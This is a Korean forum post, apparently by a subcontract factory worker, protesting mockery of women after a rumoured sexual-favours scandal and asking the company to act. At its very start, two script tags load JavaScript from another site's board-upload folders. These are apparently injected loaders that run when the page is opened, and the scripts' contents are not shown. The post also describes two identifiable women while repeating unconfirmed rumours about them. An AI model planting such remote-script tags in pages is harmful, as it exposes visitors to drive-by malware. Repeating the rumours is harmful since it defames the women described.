<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 얼마전에 정말로 어처구니 없는 일이 식당에서 일어났습니다.
제 앞에 있던 정규직 아저씨들이 누군가를 가리키며 웃고 있었지요.
순간 제 온몸이 얼어붙는듯한 느낌을 받았어요.
지난달에 벌어졌던 성상납 사건을 두고 저 아줌마 맞어? 라고 말하는 것이엇습니다.
기가 막혔지만 아무말 못하고 식사도 포기한채 돌아왔습니다.
저도 그여자 처럼 뒤에서 손가락질 당했을지도 모른다는 생각에 밥이넘어 갈것 같지 않았지요.이대로 넘어가서는 않됀다.밝혀야 한다.아무 죄 없는 다른 도급직 아줌마들을 생각 해서라도 짚고 넘어 가야겠다는 생각에 이렇게 글을 올리게 되었지요.
그 사건의 당사자는 도장부 a조 샌딩에서 근무 하는 캇트머리(안경)와 노랑머리(파마)입니다.저는 그분들이 정말로 성상납을 했는지는 모릅니다.단 오래전부터 과책님과의 소문은 풍성했다는것은 부인 할 수 없는 사실 입니다. 글로 올리기에는 넘 민망해서 생략 하겠습니다.이제부터는 다른 사람을 지목 해서 비웃는 그런 행동은 하지 말아 주시기 바랍니다.정규직 아저씨들에게 부탁 드립니다.
지난달에 사건이 벌어졌을때 저희는 무척 난감해 하면서도 열린 마당에 글도 오르고 또 정원투이던가요? 거기서도 철저한 조사를 한다길래 내심 잘 돼었다 반긴게 사실 에요. 한달여 지난 지금 아무도 아무것고 해결 된게 없군요.물의를 일으키고 많은 사람에게 심적으로 피해를 주었으면 마땅히 책임을 지는 사람이 있어야 하는거 아닌가요?
과책님만 사표 쓰시고 해당 회사인 dm측에선 소장님도 공장님도 당사자들중 아무도 책임을 지지 않고 있어요. 이래도 되는건가요?
마음놓고 식사 할 수 있게 정규직 아저씨들및 회사측에서 좀 도와주세요.
저도 딸을 키우는 엄마로써 이런 글을 올린다는 자체가 너무 한심하고 수치 스럽군요.
다시 한번 머리 숙여 부탁 드려요.저희 마음속에 응어리를 시원하게 풀어 주세요 .
정말 하루 하루 열심히 일하고 건전하게 살아가는 착한 도급직 아줌마들이랍니다.
갑자기 눈물이 나는군요. 도급직 화이팅!!
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